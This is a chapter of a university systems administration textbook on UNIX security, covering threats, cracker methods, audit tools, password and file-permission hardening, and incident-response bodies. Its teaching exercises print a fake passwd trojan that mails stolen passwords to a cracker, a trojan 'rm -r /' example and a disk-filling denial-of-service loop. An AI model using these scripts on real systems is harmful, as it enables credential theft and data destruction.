Ultimately a CSP is a document that exists to prevent the loss of an asset or its value.
A security breach can easily lead to such a loss, regardless of whether the security
breach occurred as a result of an Act of God, hardware or software error, or malicious
action internal or external to the organisation.

AUSCERT Policy Development

Reading

AUSCERT (who and what they are is explained later in the chapter) have made
available a document which outlines the requirements and content of a computer
security policy. A copy can be found under the resource materials section for
week 11 on the 83521 Web site/CD-ROM

Evaluating Security
Once you've decided (in reality the Systems Administrator doesn't decide but
hopefully will have some input) on how secure your site is to be made, you have to
evaluate just how secure your system is. This section introduces many of the basic
concepts you will need to understand in order to evaluate security and also introduces
some of the tools that can help.

Types of security threats

To implement security on a system you should first identify the possible threats to the
system. Threats to a computer system can be broken up into a number of categories
 physical threats,
The building burns down, an earthquake hits or an intruder breaks into your office
or machine room and takes to the computers with an axe.
 access to the system and its data, and
A cracker breaking into a bank and redirecting hundreds of thousands of dollars
from someone's account to their own. With the advent of the network this access
doesn't have to be to data on the actual machine. It can include data that is
travelling over the network.
 denial of service.
This type of threat is entirely malicious. It serves no purpose but to prevent your

David Jones, Bruce Jamieson (2/20/25) Page 453

85321, Systems Administration Chapter 17: Security

computers from providing the services they normally provide. This type of attack
is quite simple.

Physical threats
Physical threats include
 unauthorised access to system consoles and other devices, and
 acts of nature (i.e. floods and earthquakes).
Not all attacks on computer systems rely on intimate knowledge of computer hardware
and software. The quickest way of denying service is to steal or destroy the physical
hardware. For example, attack the nearest power sub-station, no power, no computer.
Blow the building up. Mechanisms should be in place to prevent access to the physical
hardware of a system.

Network cables
One part of computer infrastructure that is often overlooked in a security plan is the
cabling. The simplest way to bring a site's computer network to the ground is to take a
shovel and dig up a few of the cables used for that site's network.
This does not always happen on purpose. CQU's network has been taken down a
number of times by people (accidentally) digging up the fibre optic cable that forms
the backbone of the CQU network.

Acts of nature
While every effort can be taken to minimise damage from acts of nature, there is
always the possibility that an event will occur that can destroy a system or destroy the
entire site. This is one possibility that must be served by the site's recovery plan.
The old maxim "don't put all your eggs in one basket" is very applicable. Copies of
backup tapes should be kept at another site. A number of sites in earthquake prone
California send copies of backup tapes to other states to make sure that tapes are out of
the earthquake zone.

Logical threats
Logical threats are caused by problems with computer software. These problems are
caused either by
 misuse by people,
A program not being configured properly and therefore offering a security hole;
people choosing really easy-to-guess passwords.
 mistakes in programs, or in their interaction with each other

David Jones, Bruce Jamieson (2/20/25) Page 454

85321, Systems Administration Chapter 17: Security

Computer systems today are complex congregations of interacting programs. The

complexity of these programs and their interactions means that security holes crop up
every now and then. It is these holes that bad guys use to break into systems.

How to break in
Breaking into most systems is incredibly easy. Many crackers seem to think they are
great heroes for breaking into the system, when in reality any half-wit with a bit of
common sense can break into a system. Doing something constructive with a
computer is infinitely more difficult and rewarding than doing something destructive.
Knowing how to break into a system is the first step in knowing what you need to fix.
This section introduces you to some of the tactics, tools and holes used by crackers to
break into systems.
To break into a site a cracker will generally go through these stages
 information gathering,
During this phase he is trying to gather as much information about your site as
possible, determining the user's names, their phone numbers, office locations, what
machines are there.
 get a login account,
Using the information gathered previously the cracker must now get a login
account. It usually doesn't matter whose account. At this stage the cracker is just
interested in getting onto the machine.
 get root privilege, and
Once onto the machine the cracker will attempt to use any of a number of methods
to obtain root privilege, bugs in programs or badly configured systems are the two
most common.
 keeping root privilege.
Once they've got it they don't want to loose it. So most will leave some sort of trap
door that allows them to get root privilege at any point in the future.

Social engineering
Social engineering is one of the most used methods for gaining access and it generally
requires very little computer knowledge. The most common form of social
engineering is for a cracker to impersonate an employee, usually a computer support
employee, and obtain passwords or other security related information over the phone.
Other useful pastimes include
 dumpster diving,
Sifting through the trash of an organisation looking for passwords or other
information.
 getting a job.
Actually getting a job on the site, a cleaner or janitor is a good bet.

David Jones, Bruce Jamieson (2/20/25) Page 455

85321, Systems Administration Chapter 17: Security

A lot of crackers consider people to be the weak link in security.

Breaking into a system

Readings

Two of the "good guys" of computer security, Dan Farmer and Wieste Venema
(authors of the Satan tool discussed below) have written one of the standard
papers a Systems Administrator should read. You will find a copy of this paper
under the "Breaking in" link on the resource materials page for week 11.

David Jones, Bruce Jamieson (2/20/25) Page 456

85321, Systems Administration Chapter 17: Security

Information about cracking

There are a number of factors which make it easy to break into systems. One of them
is the almost complete lack of effort many Systems Administrators put into security.
Another is the huge number of bugs and problems in software which open systems up
to break-ins. One of the most common is the use of the Internet by crackers to
distribute information about how to break into systems.

Readings

The resource materials section on the 85321 Website/CD-ROM for week 11 has a
number of links to Web sites and information produced by crackers. Take your
time to look through these.

The rootshell.com (http://www.rootshell.com/) site is a prime example of

why it doesn't take any skill at all to break into a system. Here is a site which lists a
huge range of software and tips how to break in.

Problems
The following section introduces some of the fundamental UNIX concepts (and
problems) which crackers use to break into systems.

Passwords
Passwords are the first line of defense in the security of a computer system. They are
also usually the single biggest security hole. The main reason is that users do things
with passwords that compromise their security including
 write their password on a bit of paper and then leave it laying around,
This happens with student accounts at the start of every year at CQU.
 type their passwords in very slowly while someone is watching over their
shoulder,
 choose really dumb passwords like password or their first name, and
 log into their accounts across the Internet.
This is a problem because of some of the characteristics of information travelling
over the Internet. In particular, most information is in clear text and it must pass
through a number of computers. This makes it possible for other people, on some
of these computers, to listen in on your information as it passes over the Internet.
This means that they may be able to get your password.

David Jones, Bruce Jamieson (2/20/25) Page 457

85321, Systems Administration Chapter 17: Security

These actions make it easy for crackers to obtain passwords and by pass this important
first line of defense.

Choosing dumb passwords

There have been a number of experiments that attempt to discover how many users
actually choose dumb passwords. All of these experiments have found an alarmingly
high percentage of users choose stupid passwords. One experiment found that
approximately 10-20% of passwords could be guessed using a password list
containing variations on login names, user's first and last names and a list of 1800
common first names.
Every year the program crack (more on this program later in the chapter) is run using
the password file of the machine used by students of the Systems Administration
subject offered by Central Queensland University. Every year between 10 to 20% of
the passwords are discovered by Crack.

Packet sniffing
If you are on an ethernet network, it is fairly simple to obtain software that allows you
to capture and examine all of the information passing through that network, called
packet sniffing. This is one method for obtaining the usernames and passwords of
people. Remember when you enter a password it is usually sent across the network in
clear text.
At most large computer conferences (and many others) it is common to have a
terminal room with a large number of computers with Internet connections. These
terminal rooms are used by conference attendees to "phone home", to log onto their
Internet accounts to check email etc.
Many conferences have suffered from people packet sniffing in these terminal rooms,
gathering usernames and passwords of many of the conference attendees. This is a
growing problem if you are using the Internet to connect back to a "home" computer.
It's a problem that is addressed using a number of methods including one-time
passwords that are discussed below.

Problems with /etc/passwd

The /etc/passwd file is the cornerstone of the password security system. The
Systems Administrator should perform a number of checks on the contents of the
/etc/passwd file. These checks are performed to make sure someone has not
compromised security and left a gaping hole. The following describe some of the
possible problems with /etc/passwd.

Accounts without passwords

David Jones, Bruce Jamieson (2/20/25) Page 458

85321, Systems Administration Chapter 17: Security

Any account without a password allows a cracker direct entry onto your machine.
Once there they will at some stage get root privilege.

Accounts without usernames

You cannot login to an account without a username using the normal login procedure.
However you can become that user by using the command su "".

David Jones, Bruce Jamieson (2/20/25) Page 459

85321, Systems Administration Chapter 17: Security

Accounts with UID 0

An account with a UID of 0 will have the same access permissions as the root user
since the operating system thinks that anyone with UID 0 is root.

Accounts with GID 0

Generally only the root user and one or two system accounts will belong to group 0.
Any other account being in that group will obtain permissions it should not.

Modifications to /etc/passwd
The only modifications made to the /etc/passwd file should be made by the Systems
Administration team. Any changes not made by that team implies someone has broken
the security of your system. One method of checking this is keeping an up-to-date
copy of the passwd file somewhere else and regularly comparing it with the
/etc/passwd file.

/etc/passwd file permissions

The passwd file is usually owned by root. Only the owner of the file should have write
permission on the passwd file. If these permissions have changed, someone has
broken your security.

Search paths
When you enter a command, the shell will search through all the directories listed in
the PATH variable for an executable file with a filename that matches the command
name. It is almost standard for users to include the current directory (signified by .) in
their search path.
This can be useful when you are writing programs or shell scripts and you are in the
same directory as the scripts. Without . in the search path, you would have to type
./script_name

If the current directory is included in the search path it should be the last one in the
path.

Why is this a problem?

David Jones, Bruce Jamieson (2/20/25) Page 460

85321, Systems Administration Chapter 17: Security

If the current directory is the first directory in the path then whenever the user
executes a command the shell will look first in the current directory. This is a security
hole.
One practice of "bad guys" is to place programs with names that match standard
commands (like passwd and su) everywhere in the directory hierarchy they have write
access (for example, /tmp).
They do this to take advantage of situations like the following
 the current directory is the first directory in the search path of the user,
 the user is in the directory /tmp,
 a bad guy has placed a program called passwd in that directory, and
 the user wants to change their password so they enter passwd.
The shell will find the passwd program in the /tmp directory because it is the first
directory in the search path. The shell will not search any further.
If he's smart the bad guy has written his passwd so it looks like the real one but
actually sends the password to him.

Exercises

17.1 Examine your search path. Does it include the current directory??
17.2 Modify your search path so it looks in the current directory first. Create a shell
script passwd that contains the following code. Try changing your password
from the directory in which you created the shell script and see what happens.

#!/bin/bash

echo Changing passwd for `whoami`

echo -n Enter old password:
stty -echo
read password

# send email with machine name, username and password to a cracker

echo `hostname` `whoami` $password | mail

[email protected]

stty echo
echo
echo Illegal password, imposter.

Full path names

The current directory SHOULD NOT be in the search path for the root user.
Some Systems Administrators are so worried about this situation that they will always
enter the full path of every command executed as root. Instead of typing

David Jones, Bruce Jamieson (2/20/25) Page 461

 85321, Systems Administration Chapter 17: Security

bash$ su
They will enter
bash$ /bin/su
regardless of the command. Remember any command that is executed by root will
have root's privileges. A destructive cracker could create a shell script, call it ls and
put the following code in it, rm -r /. What happens when root accidentally runs it by
typing ls?

David Jones, Bruce Jamieson (2/20/25) Page 462

85321, Systems Administration Chapter 17: Security

The file system

If a bad person has actually managed to crack someone's password and break into their
account, the next step they will want to take is to obtain an account with more access
(root if possible). The major hurdle they must overcome is UNIX file permissions.
A system's file permissions should be set up in such a way that will prevent users from
accessing areas that they should not. The Systems Administrator is responsible for first
setting up the file permissions correctly and then maintaining them.
The following sections examine issues involved with the file system.

Correct settings
When configuring a system, it is important that each file and directory have the correct
permissions. This is especially true of important system files including device files,
system configuration files and system startup files.
There is a story about one release of Sun's UNIX operating system that had problems
with the permissions on a particular device file. These Sun machines came standard
with little microphones that could be used to record sound. As with all devices on a
UNIX machine, the microphone had a device file. On this particular release the default
permissions for the microphone's device file was world read.
This meant anyone on the system could record what was being said around the
microphone.

Tracking changes
Once set up, regular checks on the file permissions should be performed to ensure that
no-one has been tampering with them. Any changes you didn't make may indicate a
security breakin.

setuid/setgid programs
Any program that runs setuid, especially setuid root, that is badly written or contains a
security hole could be used to break security. You should know of all setuid and setgid
programs on your system. Any such programs that are not needed should be deleted.
You should also maintain a check on any new setuid programs that appear on your
system.
Also you should never write shell programs that are setuid or setgid. In fact Linux
won't let you. setuid shell scripts cannot be made safe.

David Jones, Bruce Jamieson (2/20/25) Page 463

 85321, Systems Administration Chapter 17: Security

Exercises

17.3 Obtain a listing of all the files on your system which are setui or setgid.

Disk usage
If the naughty person is a simple vandal interested only in bringing the system down
he might try something like the following

#!/bin/sh
while [ 0 ]
do
mkdir .temp #start with a dot so it is normally hidden
cd .temp
cp /bin/* .
done
This is just one example of a malicious attack designed to bring a system down. Other
methods include continually sending large amounts of email or using flood pings (a
ping command that saturates a network). These are simple, yet common, examples
of "denial of service" attacks.

Networks
The advent of networks, especially global networks such as the Internet, drastically
increase the likelihood of your system being broken into. No longer do you have to
worry about just people on your site. You also have to worry about all of the people on
the Internet. The problems introduced by networks include the following.

Bugs in network software

Most of the common security problems with networks is due to bugs in software such
as the finger daemon, sendmail and others. Such bugs allow people without
accounts on a machine to get root access.
The Internet worm used a bug in the finger daemon that allowed you to run a
command on the system without having a login. Bugs in sendmail have provided
mechanisms to gain root access on a machine without needing the root password.
Bugs in software that cause security holes are usually announced by CERT (more on
CERT later in this chapter).
Most of you should now be aware of similar problems in almost all of the networking
software produced by Microsoft.

Packet sniffing

David Jones, Bruce Jamieson (2/20/25) Page 464

85321, Systems Administration Chapter 17: Security

Talked about above. Packet sniffing is the act of examining all the packets being sent
across a network to gain access to information. This can usually only be done if you
are on the same network as the machines you are eavesdropping on.
There are a number of software packages, many freely available, that allow you to do
this. Pointers to this software and exercises using them come below.

Spoofing and masquerading

Using various levels of knowledge it is possible to pretend that you or your machine is
someone else. A simple example is mail spoofing demonstrated in chapter 18. More
complicated examples result in attacks on the domain name service and other
software.

Tools to Evaluate Security

There are quite a number of freely available tools which are designed to help a
Systems Administrator evaluate and maintain the security of a site. The problem is
that these same tools also help crackers identify the sites where a Systems
Administrator is not using these tools. This section introduces you to a number of
these tools.

Reading
The resource materials section for week 11 contains a page which lists a number
of the security tools which are available. A number of the tools mentioned are
available directly from the 85321 Web site/CD-ROM (rather than from an
overseas site).

Problems with the tools?

There has been much philosophical debate about releasing these tools. There are
basically two opinions
 those "against",
These people believe these tools help crackers break into sites and so shouldn't be
released.
 those "for".
Believe that these tools help administrators protect their sites and that any one
administrator not using these tools is asking to be broken into.
Personally I'm all for their release but your opinion may vary.

COPS
The following is taken from the COPS documentation and describes what COPS is.

David Jones, Bruce Jamieson (2/20/25) Page 465

85321, Systems Administration Chapter 17: Security

The heart of COPS is a collection of about a dozen (actually, a few more, but a dozen
sounds so good) programs that each attempt to tackle a different problem area of
UNIX security. Here is what the programs currently check, more or less (they might
check more, but never less, actually):
 file, directory, and device permissions/modes,
 poor passwords,
 content, format, and security of password and group files,
 the programs and files run in /etc/rc* and cron(tab) files,
 existence of root-SUID files, their writeability, and whether or not they are shell
scripts,
 a CRC check against important binaries or key files to report any changes therein,
 writability of users home directories and startup files (.profile, .cshrc, etc.)
 anonymous ftp setup,
 unrestricted tftp, decode alias in sendmail, SUID uudecode problems, hidden
shells inside inetd.conf, rexd running in inetd.conf.
 miscellaneous root checks -- current directory in the search path, a "+" in
/etc/host.equiv, unrestricted NFS mounts, ensuring root is in /etc/ftpusers,
etc.
 the Kuang expert system. This takes a set of rules and tries to determine if your
system can be compromised (for a more complete list of all of the checks, look at
the file release.notes or cops.report; for more on Kuang, look at kuang.man)
All of the programs merely warn the user of a potential problem -- COPS DOES NOT
ATTEMPT TO CORRECT OR EXPLOIT ANY OF THE POTENTIAL PROBLEMS
IT FINDS! COPS either mails or creates a file (user selectable) of any of the problems
it finds while running on your system. Because COPS does not correct potential
hazards it finds, it does _not_ have to be run by a privileged account (i.e. root or
whomever.)

Crack
The following is taken from the Crack documentation
Crack is a freely available program designed to find standard Unix eight-character
DES encrypted passwords by standard guessing techniques. It is written to be flexible,
configurable and fast, and to be able to make use of several networked hosts via the
Berkeley rsh program (or similar), where possible.

Satan
The following is taken from the Satan documentation and explains what it does.
SATAN is a tool to help Systems Administrators. It recognises several common
networking-related security problems, and reports the problems without actually
exploiting them.

David Jones, Bruce Jamieson (2/20/25) Page 466

85321, Systems Administration Chapter 17: Security

For each type or problem found, SATAN offers a tutorial that explains the problem
and what its impact could be. The tutorial also explains what can be done about the
problem: correct an error in a configuration file, install a bugfix from the vendor, use
other means to restrict access, or simply disable service.
SATAN collects information that is available to everyone on with access to the
network. With a properly-configured firewall in place, that should be near-zero
information for outsiders.
We have done some limited research with SATAN. Our finding is that on networks
with more than a few dozen systems, SATAN will inevitably find problems. Here's the
current problem list:
 NFS file systems exported to arbitrary hosts
 NFS file systems exported to unprivileged programs
 NFS file systems exported via the portmapper
 NIS password file access from arbitrary hosts
 Old (i.e. before 8.6.10) sendmail versions
 REXD access from arbitrary hosts
 X server access control disabled
 arbitrary files accessible via TFTP
 remote shell access from arbitrary hosts
 writable anonymous FTP home directory

Exercises

17.4 Install and use each of the three tools above.

Remedy and Implement

Having decided on the appropriate level of security for your site and identified the
security problems at your site you, now have to fix the problems and implement your
security policy. This section examines tools and methods that can be used to improve
security with passwords, the file system and the network.

Improving password security

There are a number of schemes a Systems Administrator can use to help make
passwords more secure including
 user education,
 shadow passwords,
 proactive password programs,
 password generators,
 password aging,
 regular password cracking, and

David Jones, Bruce Jamieson (2/20/25) Page 467

85321, Systems Administration Chapter 17: Security

 one-time passwords.

User education
Users do not want other people breaking into their accounts. If the users of a system
are educated in the dangers of using bad passwords most will choose good passwords.
One effective education program might be breaking their passwords with Crack and
then telling them what their password is (if you can do it, the bad guys can).
How you perform user education will depend on your users. Different users respond to
different methods. It must always remembered not to alienate your users.

Shadow passwords
Once they have a system's encrypted passwords, bad guys can crack these passwords
using a variety of methods. Mentioned in the chapter on adding users, shadow
passwords remove the encrypted password from the /etc/passwd file (a file readable
by every user) and place them into a file readable only by the root user. This prevents
the bad guys from (easily) getting a copy of your encrypted passwords.
When you install shadow passwords you will have to modify any program that asks
the user to enter a username/password, e.g. login the pop mail daemon, the ftp
daemon.

Proactive passwd
Passwords are set by using the passwd command. Many standard passwd programs
allow the user to enter just about anything as a password. A proactive password
program replaces the normal passwd command with a program that enforces certain
rules.
For example, ensuring that all passwords are greater than 5 characters in length and
not accepting insecure passwords like usernames, the word password, 123456789 etc.
If the user's new password breaks these rules, a proactive passwd program will refuse
to accept the new password.
The passwd program supplied with RedHat 5.0 is an example of a proactive
password program. It will not allow passwords which are too short, are simple words
or other common poor passwords.

Exercise

17.5 On your RedHat machine attempt to change your password to each of the
following
– hello

David Jones, Bruce Jamieson (2/20/25) Page 468

85321, Systems Administration Chapter 17: Security

– goodbye
– 1234567
– roygbiv (this is a common abbreviation for the colours in a rainbow red
orange yellow green blue indigo violet

Password generators
Some sites do not allow users to choose their own passwords but instead they use
password generators. A password generator might provide the user with a list of
passwords, consisting of random strings of characters, and ask the user to choose one.
The passwords that are generated have to be easy to remember or else users start
writing them down.

Password aging
The longer a password is used, the greater the chance that it will be broken. Password
aging is usually built into most shadow password suites. Password aging forces
passwords to be changed after a set time period. In addition, the system may
remember past passwords thereby preventing a user simply cycling through a list of
passwords.
Care must be taken that the time period after which passwords must be changed is not
too frequent. If it is, users start forgetting passwords and resort to writing them down.

Password cracking
The program crack has already been introduced in this chapter and while it can be a
tool for crackers it can also be useful for a Systems Administrator. Even though it can
consume a great deal of CPU time, it can be useful to run Crack on a system's
passwords regularly. This helps you identify the users who have insecure passwords
and you would then hopefully ask them to change the passwords.
There can be unexpected reprecusions from running crack, as Randall Schwartz found
out. The following readings describe the situation.

Reading

The Web site, http://www.lightlink.com/spacenka/fors/, describes the case of the

State of Oregon v. Randal Schwartz.

One-time passwords
It's a common occurrence to have users to go on trips. It is also common for many of
them, while on trips, to occasionally want to log on and check their email. They do

David Jones, Bruce Jamieson (2/20/25) Page 469

85321, Systems Administration Chapter 17: Security

this by logging in over the Internet. By doing this, the possibility of someone
"eavesdropping" on their password exists. A solution to this is one-time passwords.
With a one-time password system installed, a new password must be used for every
login. Since the password is only used once, the eavesdropper can't use the password
he's just listened to.
The S/KEY system discussed later in this chapter is one public domain
implementation of one-time passwords. There are a number of commercial versions,
some of which incorporate smart cards which provide the one-off passwords.

David Jones, Bruce Jamieson (2/20/25) Page 470

85321, Systems Administration Chapter 17: Security

How to remember them

Users have enough problems remembering one password. How can you expect them
to remember a new password every time they login? There are a number of one-time
password systems and they use a number of methods including
 smart cards or computer programs,
The user is given a "secret" password. When they login, the system gives them a
number. The user enters the password and the number into a smart card or a
program which then generates the one-time password which the user enters. The
next time they login the number will be different, therefore a different one-time
password.
 password lists.
Another (simpler?) method is for the user going on the trip to be given a small
piece of paper with a list of one-time passwords. The user scrolls through the list
every time they login.

Solutions to packet sniffing

Using networks to log into machines and perform other jobs runs the risk of packet
sniffing. This section introduces two tools that offer solutions to that problem.
Implementing either of these systems can help address this problem.

S/KEY
S/KEY is a simple, freely available one-time password system that can be installed
onto most UNIX computers. It also comes with a number of MS-DOS and possibly
Macintosh programs that can be used to generate one-time passwords.

Exercise

17.6 The security tools page pointed to on the Resource Materials section of the
85349 Web site/CD-ROM includes a copy of S/KEY. Install it onto your
machine.

Ssh
Ssh (secure shell) is an alternative to S/Key. Ssh provides both encryption and
authentication. All communication between the two hosts is encrypted which means
it is more difficult to packet sniff passwords.

David Jones, Bruce Jamieson (2/20/25) Page 471

85321, Systems Administration Chapter 17: Security

A version of Ssh is available from the local security tools page on the 85321 Web
site/CD-ROM.

David Jones, Bruce Jamieson (2/20/25) Page 472

85321, Systems Administration Chapter 17: Security

File permissions
AUSCERT (what AUSCERT is, is explained later) has a security checklist for UNIX.
The following points are adapted from the file permissions part of that document (a
pointer to the entire document is given in the following reading).
You should make sure that the permissions of (not all these apply to Linux)
 /etc/utmp are set to 644.
 /etc/sm and /etc/sm.bak are set to 2755.
 /etc/state are set to 644.
 /etc/motd and /etc/mtab are set to 644.
 /etc/syslog.pid are set to 644. (NOTE: this may be reset each time you
restart syslog.)
 the kernel (e.g., /vmunix) is owned by root, has group set to 0 (wheel on SunOS)
and permissions set to 644.
 /etc, /usr/etc, /bin, /usr/bin, /sbin, /usr/sbin, /tmp and
/var/tmp are owned by root and that the sticky-bit is set on /tmp and on
/var/tmp.
You should also
 consider removing read access to files that users do not need to access.
 ensure that there are no unexpected world writable files or directories on your
system.
 check that files which have the SUID or SGID bit enabled, should have it enabled
 ensure the umask value for each user is set to something sensible like 027 or 077.
 ensure all files in /dev are device files. (Note: Some systems have directories and
a shell script in /dev which may be legitimate. Please check the manual pages for
more information.)
 ENSURE that there are no unexpected special files outside /dev.

Root ownership
AUSCERT recommends that anything run by root should be owned by root, should
not be world or group writable and should be located in a directory where every
directory in the path is owned by root and is not group or world writable.
Also check the contents of the following files for the root account. Any programs or
scripts referenced in these files should meet the above requirements:
 ~/.login, ~/.profile and similar login initialisation files
 ~/.exrc and similar program initialisation files
 ~/.logout and similar session cleanup files

David Jones, Bruce Jamieson (2/20/25) Page 473

85321, Systems Administration Chapter 17: Security

 crontab and at entries

 files on NFS partitions
 /etc/rc* and similar system startup and shutdown files
If any programs or scripts referenced in these files source further programs or scripts
they also need to be verified.

bin ownership

Many systems ship files and directories owned by bin (or sys). This varies from
system to system and may have serious security implications.
CHANGE all non-setuid files and all non-setgid files and directories that are world
readable but not world or group writable and that are owned by bin to ownership of
root, with group id 0 (wheel group under SunOS 4.1.x).
Please note that under Solaris 2.x changing ownership of system files can cause
warning messages during installation of patches and system packages. Anything else
should be verified with the vendor.

Programs to check
AUSCERT also has the following recommendations about programs
 Tiger/COPS,
Do run one or both of these. Many of the checks in this section can be automated
by using these programs.
 Tripwire.
DO run statically linked binary. DO store the binary, the database and the
configuration file on hardware write-protected media.

Tripwire
The following is taken from the Tripwire documentation.
Tripwire is a file and directory integrity checker, a utility that compares a designated
set of files and directories against information stored in a previously generated
database. Any differences are flagged and logged, including added or deleted entries.
When run against system files on a regular basis, any changes in critical system files
will be spotted -- and appropriate damage control measures can be taken immediately.
With Tripwire, system administrators can conclude with a high degree of certainty that
a given set of files remain free of unauthorized modifications if Tripwire reports no
changes.

Disk quotas

David Jones, Bruce Jamieson (2/20/25) Page 474

85321, Systems Administration Chapter 17: Security

Linux can provide support for the BSD disk quota system. Disk quotas allow the
Systems Administrator to restrict the amount of disk space individual users can
consume. This can help protect the security of the system.
The BSD disk quota system allows the Systems Administrator to limit
 the number of disk blocks a user can consume, and
 the number of I-nodes a user owns (every file needs one I-node).
Under the BSD system, disk quotas are handled on a per user, per file system basis.
This means disk quotas can be set individually for each user on each file system.

For example
Let's assume that my system uses different file systems (partitions) for the /home
directory and the /var/spool/mail directory. The user jonesd might have one quota
for the /home file system. This would limit the number and size of the files he can
create in his home directory.
He would have a different quota for the /var/spool/mail file system. This could be
used to limit the problems of mail bombs.

Disk quotas: how they work

For disk quotas to work, the file system code must support quotas. That is the code in
the kernel that reads and writes to disk must understand and implement quotas. A
default Linux kernel doesn't support disk quotas but modified kernels can be
produced.
Once the kernel has been recompiled to support disk quotas, the partitions on which
quotas are to work must be mounted with the quotas option. This generally means that
a partitions entry in /etc/fstab must be changed.
Now the Systems Administrator must decide which users are to have quotas and what
those quotas are going to be. The quotas are then set using a command edquota that
allows the Systems Administrator to modify both the hard and soft limit for
individuals.
From then on, the file system code will check to see whether or not the user currently
asking it to write to disk has exceeded their quota. If they have, it will refuse to
continue writing to disk.

Hard and soft limits

The disk quota system allows the specification of two limits

David Jones, Bruce Jamieson (2/20/25) Page 475

85321, Systems Administration Chapter 17: Security

 a hard limit, and

This is the absolute limit. The user will not be allowed to exceed this limit. The file
system will simply refuse to carry out any request that increases the size.
 a soft limit.
The soft limit serves as a warning. If the user passes the soft limit they will receive
a warning message. After a set number of warnings, the soft limit will begin to act
like a hard limit.

David Jones, Bruce Jamieson (2/20/25) Page 476

85321, Systems Administration Chapter 17: Security

Firewalls
The Internet is a big, bad world full of crackers who would like nothing more than
breaking into your system. By connecting to the Internet you basically open the doors
for them to come on in. A firewall is a concept designed to shut those doors.
Basically a firewall is a collection of hardware and software that forces all in-coming
and out-going Internet data to go through one gate. Everything going in and out, but
especially in, of that gate is evaluated. If it doesn't fulfil a certain criteria it is shut out.
Having a firewall provides the following advantages
 protection of vulnerable services,
Access to vulnerable services like NFS can be restricted to machines within your
network.
 controlled access to your site,
Access to machines on your site can be restricted. For example from outside CQU
you can only telnet to the CQU machines jasper and topaz. Telnet access to
other machines is prevented by the firewall.
 concentrated security,
Access restrictions mean you can concentrate your efforts on ensuring security (on
some issues) to one or two machines.
 enhanced privacy,
The firewall can hide the existence of other machines on your network. Outside
people only see the one or two "outside" machines.
 logging and statistics on network use, misuse,
All network access goes through one machine which means the flow can be
watched closely and misuse can be picked up quickly.
Reading

The Resource Materials section for week 11 contains a pointer to a more in-depth
introduction to firewalls. This reading is optional.

Observe and maintain

Once your system has been secured, your job is not over. An eye must be kept on what
people are doing with the system and whether or not someone has broken security.

System logs
It is important that you maintain a close eye on what people are doing with the system.
As the Systems Administrator you should have a good idea of what constitutes normal

David Jones, Bruce Jamieson (2/20/25) Page 477

85321, Systems Administration Chapter 17: Security

operation for your system and your users. By doing this you may get an early
indication of someone breaking into your system.
The commands and files used to maintain a watch on the system are discussed in
another chapter.

Tools
Crack, Satan and COPS introduced earlier in this chapter, can also be useful for
maintaining an eye on the security of your system. By running these programs at
regular intervals you perform checks on the continuing security of your system.

Information Sources
Another essential part of maintaining the security of your system is keeping up to date
with information about the security (or otherwise) of the systems you are using. The
following provide pointers to some sources of this information.

FIRST
The following information on FIRST is taken from the FIRST WWW server,
http://www.first.org/

Since November of 1988, an almost continuous stream of security-related incidents

has affected thousands of computer systems and networks throughout the world. To
address this threat, a growing number of government and private sector organisations
around the globe have established a coalition to exchange information and coordinate
response activities.
This coalition, the Forum of Incident Response and Security Teams (FIRST), brings
together a variety of computer security incident response teams from government,
commercial, and academic organisations. FIRST aims to foster cooperation and
coordination in incident prevention, to prompt rapid reaction to incidents, and to
promote information sharing among members and the community at large. Currently
FIRST has more than 30 members.

AUSCERT
One of the members of FIRST is the Australian Computer Emergency Response Team,
AUSCERT. The following information on AUSCERT is taken from their WWW
server, http://www.auscert.org.au/information/whatis.html

What is AUSCERT?

David Jones, Bruce Jamieson (2/20/25) Page 478

85321, Systems Administration Chapter 17: Security

The Australian Computer Emergency Response Team, AUSCERT, provides a single

trusted point of contact in Australia for the AARNet community to deal with computer
security incidents and their prevention. AUSCERT aims to reduce the probability of
successful attack, to reduce the direct costs of security to organisations and to
minimise the risk of damage caused by successful attacks.
AUSCERT is a member of the Forum of Incident Response and Security Teams
(FIRST) and has close ties with the CERT Coordination Centre, with other
international Incident Response Teams (IRTs) and with the Australian Federal Police.
 AUSCERT provides a centre of expertise on network and computer security
matters.
 AUSCERT centralises reporting of security incidents and facilitates
communication to resolve security incidents.
 AUSCERT provides for the collation and dissemination of security information
including system vulnerabilities, defence strategies and mechanisms and early
warning of likely attacks.
 AUSCERT acts as a repository of security related information, tools and
techniques.
The Australian Vice-Chancellors Committee has contracted AUSCERT to provide
security services for all AARNet Members and Affiliates. These services are provided
free of charge. Additional products and services are available from AUSCERT which
incur charges. Please contact us for more details.
AUSCERT membership is not automatic: please obtain a copy of our Registration
Form from ftp.auscert.org.au or see Registration for more details. If you are not
sure of your affiliation with AARNet, please contact the AARNet General Manager
([email protected]). AUSCERT also contracts certain security services to
organisations not associated with AARNET.
The Australian Computer Emergency Response Team (AUSCERT) is a cooperative of
The University of Queensland, Queensland University of Technology and Griffith
University. It provides a centre of expertise on network and computer security matters,
providing a single point of contact within Australia for AARNet security, on behalf of
the Australian Vice-Chancellors Committee.

WWW sources
Many of the pages listed in this chapter provide more information on security. The
cracker sites add an interesting tone. Another useful pages is AUSCERT's list of
WWW sites.
A good pointer to security mailing lists is the Security mailing list WWW page at
Internet Security Systems.

Newsgroups

David Jones, Bruce Jamieson (2/20/25) Page 479

85321, Systems Administration Chapter 17: Security

Useful newsgroups include alt.security alt.security.index

alt.security.pgp alt.security.ripem comp.os.* comp.risks
comp.security.announce comp.security.misc comp.virus

David Jones, Bruce Jamieson (2/20/25) Page 480

85321, Systems Administration Chapter 18: Terminals, modems and serial lines

Conclusions
It is absolutely essential that a computer system has an appropriate level of security.
The greater the importance of the data, the greater the level of security. By connecting
to the Internet it is no longer a case of "if" your system will be broken into but rather
"when".
Security on a UNIX system can be broken into three sections
 passwords,
The first line of defence and one often weakened by users. There are a number
strategies that can be used to increase the effectiveness of passwords including
user education, proactive password programs, one-time passwords and password
crackers.
 the file system,
The file system and in particular file permissions are the fences of UNIX security.
Used properly, they can keep users in their own little yard on the computer. Care
should be taken to maintain the fences the network.

Review Questions

17.1
Give examples of possible security holes related to each of the following
 passwords,
 search paths,
 file permissions,
 networks.

17.2
Identify the security problems on your machine. A good idea would be to use the tools
like COPS, Crack and Satan introduced in this chapter.

17.3
Explain why the following are security holes. Include in the explanation how the
security hole would be used by a cracker.
 The file permissions for /dev/hda1 are set to rw-rw-rw-

David Jones, Bruce Jamieson (2/20/25) Page 481

85321, Systems Administration Chapter 18: Terminals, modems and serial lines

 The account bloggsj has no password

